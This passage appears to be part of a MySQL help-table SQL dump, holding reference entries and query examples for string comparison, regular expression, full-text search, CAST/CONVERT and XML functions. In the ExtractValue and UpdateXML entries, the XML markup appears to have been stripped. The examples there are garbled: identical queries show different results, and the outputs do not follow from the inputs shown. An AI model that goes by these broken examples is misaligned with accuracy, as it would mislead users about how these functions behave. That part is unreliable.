(FALSE).\nIf either expr or pat is NULL, the result is NULL.\n\nThe pattern need not be a literal string. For example, it can be\nspecified as a string expression or table column. In the latter case,\nthe column must be defined as one of the MySQL string types (see\nhttps://dev.mysql.com/doc/refman/8.0/en/string-types.html).\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-comparison-functions.html\n\n','mysql> SELECT \'David!\' LIKE \'David_\';\n -> 1\nmysql> SELECT \'David!\' LIKE \'%D%v%\';\n -> 1\n','https://dev.mysql.com/doc/refman/8.0/en/string-comparison-functions.html'),(234,'NOT LIKE',15,'Syntax:\nexpr NOT LIKE pat [ESCAPE \'escape_char\']\n\nThis is the same as NOT (expr LIKE pat [ESCAPE \'escape_char\']).\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-comparison-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/string-comparison-functions.html'),(235,'STRCMP',15,'Syntax:\nSTRCMP(expr1,expr2)\n\nSTRCMP() returns 0 if the strings are the same, -1 if the first\nargument is smaller than the second according to the current sort\norder, and NULL if either argument is NULL. It returns 1 otherwise.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-comparison-functions.html\n\n','mysql> SELECT STRCMP(\'text\', \'text2\');\n -> -1\nmysql> SELECT STRCMP(\'text2\', \'text\');\n -> 1\nmysql> SELECT STRCMP(\'text\', \'text\');\n -> 0\n','https://dev.mysql.com/doc/refman/8.0/en/string-comparison-functions.html'),(236,'NOT REGEXP',15,'Syntax:\nexpr NOT REGEXP pat, expr NOT RLIKE pat\n\nThis is the same as NOT (expr REGEXP pat).\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/regexp.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/regexp.html'),(237,'REGEXP',15,'Syntax:\nexpr REGEXP pat, expr RLIKE pat\n\nReturns 1 if the string expr matches the regular expression specified\nby the pattern pat, 0 otherwise. If expr or pat is NULL, the return\nvalue is NULL.\n\nREGEXP and RLIKE are synonyms for REGEXP_LIKE().\n\nFor additional information about how matching occurs, see the\ndescription for REGEXP_LIKE().\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/regexp.html\n\n','mysql> SELECT \'Michael!\' REGEXP \'.*\';\n+------------------------+\n| \'Michael!\' REGEXP \'.*\' |\n+------------------------+\n| 1 |\n+------------------------+\nmysql> SELECT \'new*\\n*line\' REGEXP \'new\\\\*.\\\\*line\';\n+---------------------------------------+\n| \'new*\\n*line\' REGEXP \'new\\\\*.\\\\*line\' |\n+---------------------------------------+\n| 0 |\n+---------------------------------------+\nmysql> SELECT \'a\' REGEXP \'^[a-d]\';\n+---------------------+\n| \'a\' REGEXP \'^[a-d]\' |\n+---------------------+\n| 1 |\n+---------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/regexp.html'),(238,'REGEXP_INSTR',15,'REGEXP_INSTR(expr, pat[, pos[, occurrence[, return_option[,\nmatch_type]]]])\n\nReturns the starting index of the substring of the string expr that\nmatches the regular expression specified by the pattern pat, 0 if there\nis no match. If expr or pat is NULL, the return value is NULL.\nCharacter indexes begin at 1.\n\nREGEXP_INSTR() takes these optional arguments:\n\no pos: The position in expr at which to start the search. If omitted,\n the default is 1.\n\no occurrence: Which occurrence of a match to search for. If omitted,\n the default is 1.\n\no return_option: Which type of position to return. If this value is 0,\n REGEXP_INSTR() returns the position of the matched substring\'s first\n character. If this value is 1, REGEXP_INSTR() returns the position\n following the matched substring. If omitted, the default is 0.\n\no match_type: A string that specifies how to perform matching. The\n meaning is as described for REGEXP_LIKE().\n\nFor additional information about how matching occurs, see the\ndescription for REGEXP_LIKE().\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/regexp.html\n\n','mysql> SELECT REGEXP_INSTR(\'dog cat dog\', \'dog\');\n+------------------------------------+\n| REGEXP_INSTR(\'dog cat dog\', \'dog\') |\n+------------------------------------+\n| 1 |\n+------------------------------------+\nmysql> SELECT REGEXP_INSTR(\'dog cat dog\', \'dog\', 2);\n+---------------------------------------+\n| REGEXP_INSTR(\'dog cat dog\', \'dog\', 2) |\n+---------------------------------------+\n| 9 |\n+---------------------------------------+\nmysql> SELECT REGEXP_INSTR(\'aa aaa aaaa\', \'a{2}\');\n+-------------------------------------+\n| REGEXP_INSTR(\'aa aaa aaaa\', \'a{2}\') |\n+-------------------------------------+\n| 1 |\n+-------------------------------------+\nmysql> SELECT REGEXP_INSTR(\'aa aaa aaaa\', \'a{4}\');\n+-------------------------------------+\n| REGEXP_INSTR(\'aa aaa aaaa\', \'a{4}\') |\n+-------------------------------------+\n| 8 |\n+-------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/regexp.html'),(239,'REGEXP_LIKE',15,'REGEXP_LIKE(expr, pat[, match_type])\n\nReturns 1 if the string expr matches the regular expression specified\nby the pattern pat, 0 otherwise. If expr or pat is NULL, the return\nvalue is NULL.\n\nThe pattern can be an extended regular expression, the syntax for which\nis discussed in\nhttps://dev.mysql.com/doc/refman/8.0/en/regexp.html#regexp-syntax. The\npattern need not be a literal string. For example, it can be specified\nas a string expression or table column.\n\nThe optional match_type argument is a string that may contain any or\nall the following characters specifying how to perform matching:\n\no c: Case-sensitive matching.\n\no i: Case-insensitive matching.\n\no m: Multiple-line mode. Recognize line terminators within the string.\n The default behavior is to match line terminators only at the start\n and end of the string expression.\n\no n: The . character matches line terminators. The default is for .\n matching to stop at the end of a line.\n\no u: Unix-only line endings. Only the newline character is recognized\n as a line ending by the ., ^, and $ match operators.\n\nIf characters specifying contradictory options are specified within\nmatch_type, the rightmost one takes precedence.\n\nBy default, regular expression operations use the character set and\ncollation of the expr and pat arguments when deciding the type of a\ncharacter and performing the comparison. If the arguments have\ndifferent character sets or collations, coercibility rules apply as\ndescribed in\nhttps://dev.mysql.com/doc/refman/8.0/en/charset-collation-coercibility.\nhtml. Arguments may be specified with explicit collation indicators to\nchange comparison behavior.\n\nmysql> SELECT REGEXP_LIKE(\'CamelCase\', \'CAMELCASE\');\n+---------------------------------------+\n| REGEXP_LIKE(\'CamelCase\', \'CAMELCASE\') |\n+---------------------------------------+\n| 1 |\n+---------------------------------------+\nmysql> SELECT REGEXP_LIKE(\'CamelCase\', \'CAMELCASE\' COLLATE utf8mb4_0900_as_cs);\n+------------------------------------------------------------------+\n| REGEXP_LIKE(\'CamelCase\', \'CAMELCASE\' COLLATE utf8mb4_0900_as_cs) |\n+------------------------------------------------------------------+\n| 0 |\n+------------------------------------------------------------------+\n\nmatch_type may be specified with the c or i characters to override the\ndefault case sensitivity. Exception: If either argument is a binary\nstring, the arguments are handled in case-sensitive fashion as binary\nstrings, even if match_type contains the i character.\n\n*Note*:\n\nMySQL uses C escape syntax in strings (for example, \\n to represent the\nnewline character). If you want your expr or pat argument to contain a\nliteral \\, you must double it. (Unless the NO_BACKSLASH_ESCAPES SQL\nmode is enabled, in which case no escape character is used.)\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/regexp.html\n\n','mysql> SELECT REGEXP_LIKE(\'Michael!\', \'.*\');\n+-------------------------------+\n| REGEXP_LIKE(\'Michael!\', \'.*\') |\n+-------------------------------+\n| 1 |\n+-------------------------------+\nmysql> SELECT REGEXP_LIKE(\'new*\\n*line\', \'new\\\\*.\\\\*line\');\n+----------------------------------------------+\n| REGEXP_LIKE(\'new*\\n*line\', \'new\\\\*.\\\\*line\') |\n+----------------------------------------------+\n| 0 |\n+----------------------------------------------+\nmysql> SELECT REGEXP_LIKE(\'a\', \'^[a-d]\');\n+----------------------------+\n| REGEXP_LIKE(\'a\', \'^[a-d]\') |\n+----------------------------+\n| 1 |\n+----------------------------+\n\nmysql> SELECT REGEXP_LIKE(\'abc\', \'ABC\');\n+---------------------------+\n| REGEXP_LIKE(\'abc\', \'ABC\') |\n+---------------------------+\n| 1 |\n+---------------------------+\nmysql> SELECT REGEXP_LIKE(\'abc\', \'ABC\', \'c\');\n+--------------------------------+\n| REGEXP_LIKE(\'abc\', \'ABC\', \'c\') |\n+--------------------------------+\n| 0 |\n+--------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/regexp.html'),(240,'REGEXP_REPLACE',15,'REGEXP_REPLACE(expr, pat, repl[, pos[, occurrence[, match_type]]])\n\nReplaces occurrences in the string expr that match the regular\nexpression specified by the pattern pat with the replacement string\nrepl, and returns the resulting string. If expr, pat, or repl is NULL,\nthe return value is NULL.\n\nREGEXP_REPLACE() takes these optional arguments:\n\no pos: The position in expr at which to start the search. If omitted,\n the default is 1.\n\no occurrence: Which occurrence of a match to replace. If omitted, the\n default is 0 (which means \"replace all occurrences\").\n\no match_type: A string that specifies how to perform matching. The\n meaning is as described for REGEXP_LIKE().\n\nPrior to MySQL 8.0.17, the result returned by this function used the\nUTF-16 character set; in MySQL 8.0.17 and later, the character set and\ncollation of the expression searched for matches is used. (Bug #94203,\nBug #29308212)\n\nFor additional information about how matching occurs, see the\ndescription for REGEXP_LIKE().\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/regexp.html\n\n','mysql> SELECT REGEXP_REPLACE(\'a b c\', \'b\', \'X\');\n+-----------------------------------+\n| REGEXP_REPLACE(\'a b c\', \'b\', \'X\') |\n+-----------------------------------+\n| a X c |\n+-----------------------------------+\nmysql> SELECT REGEXP_REPLACE(\'abc def ghi\', \'[a-z]+\', \'X\', 1, 3);\n+----------------------------------------------------+\n| REGEXP_REPLACE(\'abc def ghi\', \'[a-z]+\', \'X\', 1, 3) |\n+----------------------------------------------------+\n| abc def X |\n+----------------------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/regexp.html'),(241,'REGEXP_SUBSTR',15,'REGEXP_SUBSTR(expr, pat[, pos[, occurrence[, match_type]]])\n\nReturns the substring of the string expr that matches the regular\nexpression specified by the pattern pat, NULL if there is no match. If\nexpr or pat is NULL, the return value is NULL.\n\nREGEXP_SUBSTR() takes these optional arguments:\n\no pos: The position in expr at which to start the search. If omitted,\n the default is 1.\n\no occurrence: Which occurrence of a match to search for. If omitted,\n the default is 1.\n\no match_type: A string that specifies how to perform matching. The\n meaning is as described for REGEXP_LIKE().\n\nPrior to MySQL 8.0.17, the result returned by this function used the\nUTF-16 character set; in MySQL 8.0.17 and later, the character set and\ncollation of the expression searched for matches is used. (Bug #94203,\nBug #29308212)\n\nFor additional information about how matching occurs, see the\ndescription for REGEXP_LIKE().\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/regexp.html\n\n','mysql> SELECT REGEXP_SUBSTR(\'abc def ghi\', \'[a-z]+\');\n+----------------------------------------+\n| REGEXP_SUBSTR(\'abc def ghi\', \'[a-z]+\') |\n+----------------------------------------+\n| abc |\n+----------------------------------------+\nmysql> SELECT REGEXP_SUBSTR(\'abc def ghi\', \'[a-z]+\', 1, 3);\n+----------------------------------------------+\n| REGEXP_SUBSTR(\'abc def ghi\', \'[a-z]+\', 1, 3) |\n+----------------------------------------------+\n| ghi |\n+----------------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/regexp.html'),(242,'MATCH AGAINST',15,'Syntax:\nMATCH (col1,col2,...) AGAINST (expr [search_modifier])\n\nMySQL has support for full-text indexing and searching:\n\no A full-text index in MySQL is an index of type FULLTEXT.\n\no Full-text indexes can be used only with InnoDB or MyISAM tables, and\n can be created only for CHAR, VARCHAR, or TEXT columns.\n\no MySQL provides a built-in full-text ngram parser that supports\n Chinese, Japanese, and Korean (CJK), and an installable MeCab\n full-text parser plugin for Japanese. Parsing differences are\n outlined in\n https://dev.mysql.com/doc/refman/8.0/en/fulltext-search-ngram.html,\n and\n https://dev.mysql.com/doc/refman/8.0/en/fulltext-search-mecab.html.\n\no A FULLTEXT index definition can be given in the CREATE TABLE\n statement when a table is created, or added later using ALTER TABLE\n or CREATE INDEX.\n\no For large data sets, it is much faster to load your data into a table\n that has no FULLTEXT index and then create the index after that, than\n to load data into a table that has an existing FULLTEXT index.\n\nFull-text searching is performed using MATCH() AGAINST() syntax.\nMATCH() takes a comma-separated list that names the columns to be\nsearched. AGAINST takes a string to search for, and an optional\nmodifier that indicates what type of search to perform. The search\nstring must be a string value that is constant during query evaluation.\nThis rules out, for example, a table column because that can differ for\neach row.\n\nPreviously, MySQL permitted the use of a rollup column with MATCH(),\nbut queries employing this construct performed poorly and with\nunreliable results. (This is due to the fact that MATCH() is not\nimplemented as a function of its arguments, but rather as a function of\nthe row ID of the current row in the underlying scan of the base\ntable.) As of MySQL 8.0.28, MySQL no longer allows such queries; more\nspecifically, any query matching all of the criteria listed here is\nrejected with ER_FULLTEXT_WITH_ROLLUP\n(https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference.html\n#error_er_fulltext_with_rollup):\n\no MATCH() appears in the SELECT list, GROUP BY clause, HAVING clause,\n or ORDER BY clause of a query block.\n\no The query block contains a GROUP BY ... WITH ROLLUP clause.\n\no The argument of the call to the MATCH() function is one of the\n grouping columns.\n\nSome examples of such queries are shown here:\n\n# MATCH() in SELECT list...\nSELECT MATCH (a) AGAINST (\'abc\') FROM t GROUP BY a WITH ROLLUP;\nSELECT 1 FROM t GROUP BY a, MATCH (a) AGAINST (\'abc\') WITH ROLLUP;\n\n# ...in HAVING clause...\nSELECT 1 FROM t GROUP BY a WITH ROLLUP HAVING MATCH (a) AGAINST (\'abc\');\n\n# ...and in ORDER BY clause\nSELECT 1 FROM t GROUP BY a WITH ROLLUP ORDER BY MATCH (a) AGAINST (\'abc\');\n\nThe use of MATCH() with a rollup column in the WHERE clause is\npermitted.\n\nThere are three types of full-text searches:\n\no A natural language search interprets the search string as a phrase in\n natural human language (a phrase in free text). There are no special\n operators, with the exception of double quote (\") characters. The\n stopword list applies. For more information about stopword lists, see\n https://dev.mysql.com/doc/refman/8.0/en/fulltext-stopwords.html.\n\n Full-text searches are natural language searches if the IN NATURAL\n LANGUAGE MODE modifier is given or if no modifier is given. For more\n information, see\n https://dev.mysql.com/doc/refman/8.0/en/fulltext-natural-language.htm\n l.\n\no A boolean search interprets the search string using the rules of a\n special query language. The string contains the words to search for.\n It can also contain operators that specify requirements such that a\n word must be present or absent in matching rows, or that it should be\n weighted higher or lower than usual. Certain common words (stopwords)\n are omitted from the search index and do not match if present in the\n search string. The IN BOOLEAN MODE modifier specifies a boolean\n search. For more information, see\n https://dev.mysql.com/doc/refman/8.0/en/fulltext-boolean.html.\n\no A query expansion search is a modification of a natural language\n search. The search string is used to perform a natural language\n search. Then words from the most relevant rows returned by the search\n are added to the search string and the search is done again. The\n query returns the rows from the second search. The IN NATURAL\n LANGUAGE MODE WITH QUERY EXPANSION or WITH QUERY EXPANSION modifier\n specifies a query expansion search. For more information, see\n https://dev.mysql.com/doc/refman/8.0/en/fulltext-query-expansion.html\n .\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/fulltext-search.html\n\n','mysql> SELECT id, body, MATCH (title,body)\n -> AGAINST (\'Security implications of running MySQL as root\'\n -> IN NATURAL LANGUAGE MODE) AS score\n -> FROM articles\n -> WHERE MATCH (title,body) \n -> AGAINST(\'Security implications of running MySQL as root\'\n -> IN NATURAL LANGUAGE MODE);\n+----+-------------------------------------+-----------------+\n| id | body | score |\n+----+-------------------------------------+-----------------+\n| 4 | 1. Never run mysqld as root. 2. ... | 1.5219271183014 |\n| 6 | When configured properly, MySQL ... | 1.3114095926285 |\n+----+-------------------------------------+-----------------+\n2 rows in set (0.00 sec)\n','https://dev.mysql.com/doc/refman/8.0/en/fulltext-search.html'),(243,'BINARY OPERATOR',16,'Syntax:\nBINARY expr\n\nThe BINARY operator converts the expression to a binary string (a\nstring that has the binary character set and binary collation). A\ncommon use for BINARY is to force a character string comparison to be\ndone byte by byte using numeric byte values rather than character by\ncharacter. The BINARY operator also causes trailing spaces in\ncomparisons to be significant. For information about the differences\nbetween the binary collation of the binary character set and the _bin\ncollations of nonbinary character sets, see\nhttps://dev.mysql.com/doc/refman/8.0/en/charset-binary-collations.html.\n\nThe BINARY operator is deprecated as of MySQL 8.0.27, and you should\nexpect its removal in a future version of MySQL. Use CAST(... AS\nBINARY) instead.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/cast-functions.html\n\n','mysql> SET NAMES utf8mb4 COLLATE utf8mb4_general_ci;\n -> OK\nmysql> SELECT \'a\' = \'A\';\n -> 1\nmysql> SELECT BINARY \'a\' = \'A\';\n -> 0\nmysql> SELECT \'a\' = \'a \';\n -> 1\nmysql> SELECT BINARY \'a\' = \'a \';\n -> 0\n','https://dev.mysql.com/doc/refman/8.0/en/cast-functions.html'),(244,'CAST',16,'Syntax:\nCAST(expr AS type [ARRAY])\n\nCAST(timestamp_value AT TIME ZONE timezone_specifier AS\nDATETIME[(precision)])\n\ntimezone_specifier: [INTERVAL] \'+00:00\' | \'UTC\'\n\nWith CAST(expr AS type syntax, the CAST() function takes an expression\nof any type and produces a result value of the specified type. This\noperation may also be expressed as CONVERT(expr, type), which is\nequivalent. If expr is NULL, CAST() returns NULL.\n\nThese type values are permitted:\n\no BINARY[(N)]\n\n Produces a string with the VARBINARY data type, except that when the\n expression expr is empty (zero length), the result type is BINARY(0).\n If the optional length N is given, BINARY(N) causes the cast to use\n no more than N bytes of the argument. Values shorter than N bytes are\n padded with 0x00 bytes to a length of N. If the optional length N is\n not given, MySQL calculates the maximum length from the expression.\n If the supplied or calculated length is greater than an internal\n threshold, the result type is BLOB. If the length is still too long,\n the result type is LONGBLOB.\n\n For a description of how casting to BINARY affects comparisons, see\n https://dev.mysql.com/doc/refman/8.0/en/binary-varbinary.html.\n\no CHAR[(N)] [charset_info]\n\n Produces a string with the VARCHAR data type, unless the expression\n expr is empty (zero length), in which case the result type is\n CHAR(0). If the optional length N is given, CHAR(N) causes the cast\n to use no more than N characters of the argument. No padding occurs\n for values shorter than N characters. If the optional length N is not\n given, MySQL calculates the maximum length from the expression. If\n the supplied or calculated length is greater than an internal\n threshold, the result type is TEXT. If the length is still too long,\n the result type is LONGTEXT.\n\n With no charset_info clause, CHAR produces a string with the default\n character set. To specify the character set explicitly, these\n charset_info values are permitted:\n\n o CHARACTER SET charset_name: Produces a string with the given\n character set.\n\n o ASCII: Shorthand for CHARACTER SET latin1.\n\n o UNICODE: Shorthand for CHARACTER SET ucs2.\n\n In all cases, the string has the character set default collation.\n\no DATE\n\n Produces a DATE value.\n\no DATETIME[(M)]\n\n Produces a DATETIME value. If the optional M value is given, it\n specifies the fractional seconds precision.\n\no DECIMAL[(M[,D])]\n\n Produces a DECIMAL value. If the optional M and D values are given,\n they specify the maximum number of digits (the precision) and the\n number of digits following the decimal point (the scale). If D is\n omitted, 0 is assumed. If M is omitted, 10 is assumed.\n\no DOUBLE\n\n Produces a DOUBLE result. Added in MySQL 8.0.17.\n\no FLOAT[(p)]\n\n If the precision p is not specified, produces a result of type FLOAT.\n If p is provided and 0 <= < p <= 24, the result is of type FLOAT. If\n 25 <= p <= 53, the result is of type DOUBLE. If p < 0 or p > 53, an\n error is returned. Added in MySQL 8.0.17.\n\no JSON\n\n Produces a JSON value. For details on the rules for conversion of\n values between JSON and other types, see\n https://dev.mysql.com/doc/refman/8.0/en/json.html#json-comparison.\n\no NCHAR[(N)]\n\n Like CHAR, but produces a string with the national character set. See\n https://dev.mysql.com/doc/refman/8.0/en/charset-national.html.\n\n Unlike CHAR, NCHAR does not permit trailing character set information\n to be specified.\n\no REAL\n\n Produces a result of type REAL. This is actually FLOAT if the\n REAL_AS_FLOAT SQL mode is enabled; otherwise the result is of type\n DOUBLE.\n\no SIGNED [INTEGER]\n\n Produces a signed BIGINT value.\n\no spatial_type\n\n As of MySQL 8.0.24, CAST() and CONVERT() support casting geometry\n values from one spatial type to another, for certain combinations of\n spatial types. For details, see\n https://dev.mysql.com/doc/refman/8.0/en/cast-functions.html#cast-spat\n ial-types.\n\no TIME[(M)]\n\n Produces a TIME value. If the optional M value is given, it specifies\n the fractional seconds precision.\n\no UNSIGNED [INTEGER]\n\n Produces an unsigned BIGINT value.\n\no YEAR\n\n Produces a YEAR value. Added in MySQL 8.0.22. These rules govern\n conversion to YEAR:\n\n o For a four-digit number in the range 1901-2155 inclusive, or for a\n string which can be interpreted as a four-digit number in this\n range, return the corresponding YEAR value.\n\n o For a number consisting of one or two digits, or for a string which\n can be interpreted as such a number, return a YEAR value as\n follows:\n\n o If the number is in the range 1-69 inclusive, add 2000 and return\n the sum.\n\n o If the number is in the range 70-99 inclusive, add 1900 and\n return the sum.\n\n o For a string which evaluates to 0, return 2000.\n\n o For the number 0, return 0.\n\n o For a DATE, DATETIME, or TIMESTAMP value, return the YEAR portion\n of the value. For a TIME value, return the current year.\n\n If you do not specify the type of a TIME argument, you may get a\n different result from what you expect, as shown here:\n\nmysql> SELECT CAST(\"11:35:00\" AS YEAR), CAST(TIME \"11:35:00\" AS YEAR);\n+--------------------------+-------------------------------+\n| CAST(\"11:35:00\" AS YEAR) | CAST(TIME \"11:35:00\" AS YEAR) |\n+--------------------------+-------------------------------+\n| 2011 | 2021 |\n+--------------------------+-------------------------------+\n\n o If the argument is of type DECIMAL, DOUBLE, DECIMAL, or REAL, round\n the value to the nearest integer, then attempt to cast the value to\n YEAR using the rules for integer values, as shown here:\n\nmysql> SELECT CAST(1944.35 AS YEAR), CAST(1944.50 AS YEAR);\n+-----------------------+-----------------------+\n| CAST(1944.35 AS YEAR) | CAST(1944.50 AS YEAR) |\n+-----------------------+-----------------------+\n| 1944 | 1945 |\n+-----------------------+-----------------------+\n\nmysql> SELECT CAST(66.35 AS YEAR), CAST(66.50 AS YEAR);\n+---------------------+---------------------+\n| CAST(66.35 AS YEAR) | CAST(66.50 AS YEAR) |\n+---------------------+---------------------+\n| 2066 | 2067 |\n+---------------------+---------------------+\n\n o An argument of type GEOMETRY cannot be converted to YEAR.\n\n o For a value that cannot be successfully converted to YEAR, return\n NULL.\n\n A string value containing non-numeric characters which must be\n truncated prior to conversion raises a warning, as shown here:\n\nmysql> SELECT CAST(\"1979aaa\" AS YEAR);\n+-------------------------+\n| CAST(\"1979aaa\" AS YEAR) |\n+-------------------------+\n| 1979 |\n+-------------------------+\n1 row in set, 1 warning (0.00 sec)\n\nmysql> SHOW WARNINGS;\n+---------+------+-------------------------------------------+\n| Level | Code | Message |\n+---------+------+-------------------------------------------+\n| Warning | 1292 | Truncated incorrect YEAR value: \'1979aaa\' |\n+---------+------+-------------------------------------------+\n\nIn MySQL 8.0.17 and higher, InnoDB allows the use of an additional\nARRAY keyword for creating a multi-valued index on a JSON array as part\nof CREATE INDEX, CREATE TABLE, and ALTER TABLE statements. ARRAY is not\nsupported except when used to create a multi-valued index in one of\nthese statements, in which case it is required. The column being\nindexed must be a column of type JSON. With ARRAY, the type following\nthe AS keyword may specify any of the types supported by CAST(), with\nthe exceptions of BINARY, JSON, and YEAR. For syntax information and\nexamples, as well as other relevant information, see\nhttps://dev.mysql.com/doc/refman/8.0/en/create-index.html#create-index-\nmulti-valued.\n\n*Note*:\n\nCONVERT(), unlike CAST(), does not support multi-valued index creation\nor the ARRAY keyword.\n\nBeginning with MySQL 8.0.22, CAST() supports retrieval of a TIMESTAMP\nvalue as being in UTC, using the AT TIMEZONE operator. The only\nsupported time zone is UTC; this can be specified as either of \'+00:00\'\nor \'UTC\'. The only return type supported by this syntax is DATETIME,\nwith an optional precision specifier in the range of 0 to 6, inclusive.\n\nTIMESTAMP values that use timezone offsets are also supported.\n\nmysql> SELECT @@system_time_zone;\n+--------------------+\n| @@system_time_zone |\n+--------------------+\n| EDT |\n+--------------------+\n1 row in set (0.00 sec)\n\nmysql> CREATE TABLE tz (c TIMESTAMP);\nQuery OK, 0 rows affected (0.41 sec)\n\nmysql> INSERT INTO tz VALUES\n -> ROW(CURRENT_TIMESTAMP),\n -> ROW(\'2020-07-28 14:50:15+1:00\');\nQuery OK, 1 row affected (0.08 sec)\n\nmysql> TABLE tz;\n+---------------------+\n| c |\n+---------------------+\n| 2020-07-28 09:22:41 |\n| 2020-07-28 09:50:15 |\n+---------------------+\n2 rows in set (0.00 sec)\n\nmysql> SELECT CAST(c AT TIME ZONE \'+00:00\' AS DATETIME) AS u FROM tz;\n+---------------------+\n| u |\n+---------------------+\n| 2020-07-28 13:22:41 |\n| 2020-07-28 13:50:15 |\n+---------------------+\n2 rows in set (0.00 sec)\n\nmysql> SELECT CAST(c AT TIME ZONE \'UTC\' AS DATETIME(2)) AS u FROM tz;\n+------------------------+\n| u |\n+------------------------+\n| 2020-07-28 13:22:41.00 |\n| 2020-07-28 13:50:15.00 |\n+------------------------+\n2 rows in set (0.00 sec)\n\nIf you use \'UTC\' as the time zone specifier with this form of CAST(),\nand the server raises an error such as Unknown or incorrect time zone:\n\'UTC\', you may need to install the MySQL time zone tables (see\nhttps://dev.mysql.com/doc/refman/8.0/en/time-zone-support.html#time-zon\ne-installation).\n\nAT TIME ZONE does not support the ARRAY keyword, and is not supported\nby the CONVERT() function.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/cast-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/cast-functions.html'),(245,'CONVERT',16,'Syntax:\nCONVERT(expr USING transcoding_name)\n\nCONVERT(expr,type)\n\nCONVERT(expr USING transcoding_name) is standard SQL syntax. The\nnon-USING form of CONVERT() is ODBC syntax. Regardless of the syntax\nused, the function returns NULL if expr is NULL.\n\nCONVERT(expr USING transcoding_name) converts data between different\ncharacter sets. In MySQL, transcoding names are the same as the\ncorresponding character set names. For example, this statement converts\nthe string \'abc\' in the default character set to the corresponding\nstring in the utf8mb4 character set:\n\nSELECT CONVERT(\'abc\' USING utf8mb4);\n\nCONVERT(expr, type) syntax (without USING) takes an expression and a\ntype value specifying a result type, and produces a result value of the\nspecified type. This operation may also be expressed as CAST(expr AS\ntype), which is equivalent. For more information, see the description\nof CAST().\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/cast-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/cast-functions.html'),(246,'EXTRACTVALUE',17,'Syntax:\nExtractValue(xml_frag, xpath_expr)\n\nExtractValue() takes two string arguments, a fragment of XML markup\nxml_frag and an XPath expression xpath_expr (also known as a locator);\nit returns the text (CDATA) of the first text node which is a child of\nthe element or elements matched by the XPath expression.\n\nUsing this function is the equivalent of performing a match using the\nxpath_expr after appending /text(). In other words,\nExtractValue(\'Sakila\', \'/a/b\') and\nExtractValue(\'Sakila\', \'/a/b/text()\') produce the same\nresult. If xml_frag or xpath_expr is NULL, the function returns NULL.\n\nIf multiple matches are found, the content of the first child text node\nof each matching element is returned (in the order matched) as a\nsingle, space-delimited string.\n\nIf no matching text node is found for the expression (including the\nimplicit /text())---for whatever reason, as long as xpath_expr is\nvalid, and xml_frag consists of elements which are properly nested and\nclosed---an empty string is returned. No distinction is made between a\nmatch on an empty element and no match at all. This is by design.\n\nIf you need to determine whether no matching element was found in\nxml_frag or such an element was found but contained no child text\nnodes, you should test the result of an expression that uses the XPath\ncount() function. For example, both of these statements return an empty\nstring, as shown here:\n\nmysql> SELECT ExtractValue(\'\', \'/a/b\');\n+-------------------------------------+\n| ExtractValue(\'\', \'/a/b\') |\n+-------------------------------------+\n| |\n+-------------------------------------+\n1 row in set (0.00 sec)\n\nmysql> SELECT ExtractValue(\'\', \'/a/b\');\n+-------------------------------------+\n| ExtractValue(\'\', \'/a/b\') |\n+-------------------------------------+\n| |\n+-------------------------------------+\n1 row in set (0.00 sec)\n\nHowever, you can determine whether there was actually a matching\nelement using the following:\n\nmysql> SELECT ExtractValue(\'\', \'count(/a/b)\');\n+-------------------------------------+\n| ExtractValue(\'\', \'count(/a/b)\') |\n+-------------------------------------+\n| 1 |\n+-------------------------------------+\n1 row in set (0.00 sec)\n\nmysql> SELECT ExtractValue(\'\', \'count(/a/b)\');\n+-------------------------------------+\n| ExtractValue(\'\', \'count(/a/b)\') |\n+-------------------------------------+\n| 0 |\n+-------------------------------------+\n1 row in set (0.01 sec)\n\n*Important*:\n\nExtractValue() returns only CDATA, and does not return any tags that\nmight be contained within a matching tag, nor any of their content (see\nthe result returned as val1 in the following example).\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/xml-functions.html\n\n','mysql> SELECT\n -> ExtractValue(\'cccddd\', \'/a\') AS val1,\n -> ExtractValue(\'cccddd\', \'/a/b\') AS val2,\n -> ExtractValue(\'cccddd\', \'//b\') AS val3,\n -> ExtractValue(\'cccddd\', \'/b\') AS val4,\n -> ExtractValue(\'cccdddeee\', \'//b\') AS val5;\n\n+------+------+------+------+---------+\n| val1 | val2 | val3 | val4 | val5 |\n+------+------+------+------+---------+\n| ccc | ddd | ddd | | ddd eee |\n+------+------+------+------+---------+\n','https://dev.mysql.com/doc/refman/8.0/en/xml-functions.html'),(247,'UPDATEXML',17,'Syntax:\nUpdateXML(xml_target, xpath_expr, new_xml)\n\nThis function replaces a single portion of a given fragment of XML\nmarkup xml_target with a new XML fragment new_xml, and then returns the\nchanged XML. The portion of xml_target that is replaced matches an\nXPath expression xpath_expr supplied by the user.\n\nIf no expression matching xpath_expr is found, or if multiple matches\nare found, the function returns the original xml_target XML fragment.\nAll three arguments should be strings. If any of the arguments to\nUpdateXML() are NULL, the function returns NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/xml-functions.html\n\n','mysql> SELECT\n -> UpdateXML(\'ccc\', \'/a\', \'fff\') AS val1,\n -> UpdateXML(\'ccc\', \'/b\', \'fff\') AS val2,\n -> UpdateXML(\'ccc\', \'//b\', \'fff\') AS val3,\n -> UpdateXML(\'ccc\', \'/a/d\', \'fff\') AS val4,\n -> UpdateXML(\'ccc\', \'/a/d\', \'fff\') AS val5\n -> \\G\n\n*************************** 1. row ***************************\nval1: fff\nval2: ccc\nval3: fff\nval4: cccfff\nval5: 